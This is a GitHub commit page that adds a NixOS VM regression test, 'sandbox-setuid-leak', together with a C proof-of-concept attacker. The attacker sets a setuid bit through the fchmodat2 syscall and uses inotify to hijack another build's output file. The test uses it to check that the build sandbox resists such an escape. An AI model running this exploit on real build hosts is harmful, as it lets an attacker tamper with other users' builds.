-
-
Notifications
You must be signed in to change notification settings - Fork 1.5k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
1c131ec
commit 717f3ee
Showing
3 changed files
with
211 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,82 @@ | ||
#define _GNU_SOURCE | ||
|
||
#include <fcntl.h> | ||
#include <stdio.h> | ||
#include <sys/inotify.h> | ||
#include <sys/stat.h> | ||
#include <unistd.h> | ||
#include <stdlib.h> | ||
|
||
#define SYS_fchmodat2 452 | ||
|
||
int fchmodat2(int dirfd, const char *pathname, mode_t mode, int flags) { | ||
return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags); | ||
} | ||
|
||
int main(int argc, char **argv) { | ||
if (argc <= 1) { | ||
// stage 1: place the setuid-builder executable | ||
|
||
// make the build directory world-accessible first | ||
chmod(".", 0755); | ||
|
||
if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) { | ||
perror("Setting the suid bit on attacker"); | ||
exit(-1); | ||
} | ||
|
||
} else { | ||
// stage 2: corrupt the victim derivation while it's building | ||
|
||
// prevent the kill | ||
if (setresuid(-1, -1, getuid())) { | ||
perror("setresuid"); | ||
exit(-1); | ||
} | ||
|
||
if (fork() == 0) { | ||
|
||
// wait for the victim to build | ||
int fd = inotify_init(); | ||
inotify_add_watch(fd, argv[1], IN_CREATE); | ||
int dirfd = open(argv[1], O_DIRECTORY); | ||
if (dirfd < 0) { | ||
perror("opening the global build directory"); | ||
exit(-1); | ||
} | ||
char buf[4096]; | ||
fprintf(stderr, "Entering the inotify loop\n"); | ||
for (;;) { | ||
ssize_t len = read(fd, buf, sizeof(buf)); | ||
struct inotify_event *ev; | ||
for (char *pe = buf; pe < buf + len; | ||
pe += sizeof(struct inotify_event) + ev->len) { | ||
ev = (struct inotify_event *)pe; | ||
fprintf(stderr, "folder %s created\n", ev->name); | ||
// wait a bit to prevent racing against the creation | ||
sleep(1); | ||
int builddir = openat(dirfd, ev->name, O_DIRECTORY); | ||
if (builddir < 0) { | ||
perror("opening the build directory"); | ||
continue; | ||
} | ||
int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC); | ||
if (resultfile < 0) { | ||
perror("opening the hijacked file"); | ||
continue; | ||
} | ||
int writeres = write(resultfile, "bad\n", 4); | ||
if (writeres < 0) { | ||
perror("writing to the hijacked file"); | ||
continue; | ||
} | ||
fprintf(stderr, "Hijacked the build for %s\n", ev->name); | ||
return 0; | ||
} | ||
} | ||
} | ||
|
||
exit(0); | ||
} | ||
} | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,127 @@ | ||
{ config, ... }: | ||
|
||
let | ||
pkgs = config.nodes.machine.nixpkgs.pkgs; | ||
|
||
attacker = pkgs.runCommandWith { | ||
name = "attacker"; | ||
stdenv = pkgs.pkgsStatic.stdenv; | ||
} '' | ||
$CC -static -o $out ${./attacker.c} | ||
''; | ||
|
||
try-open-build-dir = pkgs.writeScript "try-open-build-dir" '' | ||
export PATH=${pkgs.coreutils}/bin:$PATH | ||
set -x | ||
chmod 700 . | ||
touch foo | ||
# Synchronisation point: create a world-writable fifo and wait for someone | ||
# to write into it | ||
mkfifo syncPoint | ||
chmod 777 syncPoint | ||
cat syncPoint | ||
touch $out | ||
set +x | ||
''; | ||
|
||
create-hello-world = pkgs.writeScript "create-hello-world" '' | ||
export PATH=${pkgs.coreutils}/bin:$PATH | ||
set -x | ||
echo "hello, world" > result | ||
# Synchronisation point: create a world-writable fifo and wait for someone | ||
# to write into it | ||
mkfifo syncPoint | ||
chmod 777 syncPoint | ||
cat syncPoint | ||
cp result $out | ||
set +x | ||
''; | ||
|
||
in | ||
{ | ||
name = "sandbox-setuid-leak"; | ||
|
||
nodes.machine = | ||
{ config, lib, pkgs, ... }: | ||
{ virtualisation.writableStore = true; | ||
nix.settings.substituters = lib.mkForce [ ]; | ||
nix.nrBuildUsers = 1; | ||
virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell attacker try-open-build-dir create-hello-world pkgs.socat ]; | ||
boot.kernelPackages = pkgs.linuxPackages_latest; | ||
users.users.alice = { | ||
isNormalUser = true; | ||
}; | ||
}; | ||
|
||
testScript = { nodes }: '' | ||
start_all() | ||
with subtest("A builder can't give access to its build directory"): | ||
# Make sure that a builder can't change the permissions on its build | ||
# directory to the point of opening it up to external users | ||
# A derivation whose builder tries to make its build directory as open | ||
# as possible and wait for someone to hijack it | ||
machine.succeed(r""" | ||
nix-build -v -E ' | ||
builtins.derivation { | ||
name = "open-build-dir"; | ||
system = builtins.currentSystem; | ||
builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; | ||
args = [ (builtins.storePath "${try-open-build-dir}") ]; | ||
}' >&2 & | ||
""".strip()) | ||
# Wait for the build to be ready | ||
# This is OK because it runs as root, so we can access everything | ||
machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/syncPoint") | ||
# But Alice shouldn't be able to access the build directory | ||
machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0'") | ||
machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/bar'") | ||
machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/foo'") | ||
# Tell the user to finish the build | ||
machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/syncPoint") | ||
with subtest("Being able to execute stuff as the build user doesn't give access to the build dir"): | ||
machine.succeed(r""" | ||
nix-build -E ' | ||
builtins.derivation { | ||
name = "innocent"; | ||
system = builtins.currentSystem; | ||
builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; | ||
args = [ (builtins.storePath "${create-hello-world}") ]; | ||
}' >&2 & | ||
""".strip()) | ||
machine.wait_for_file("/tmp/nix-build-innocent.drv-0/syncPoint") | ||
# The build ran as `nixbld1` (which is the only build user on the | ||
# machine), but a process running as `nixbld1` outside the sandbox | ||
# shouldn't be able to touch the build directory regardless | ||
machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0'") | ||
machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/result'") | ||
# Finish the build | ||
machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/syncPoint") | ||
# Check that the build was not affected | ||
machine.succeed(r""" | ||
cat ./result | ||
test "$(cat ./result)" = "hello, world" | ||
""".strip()) | ||
''; | ||
|
||
} | ||
|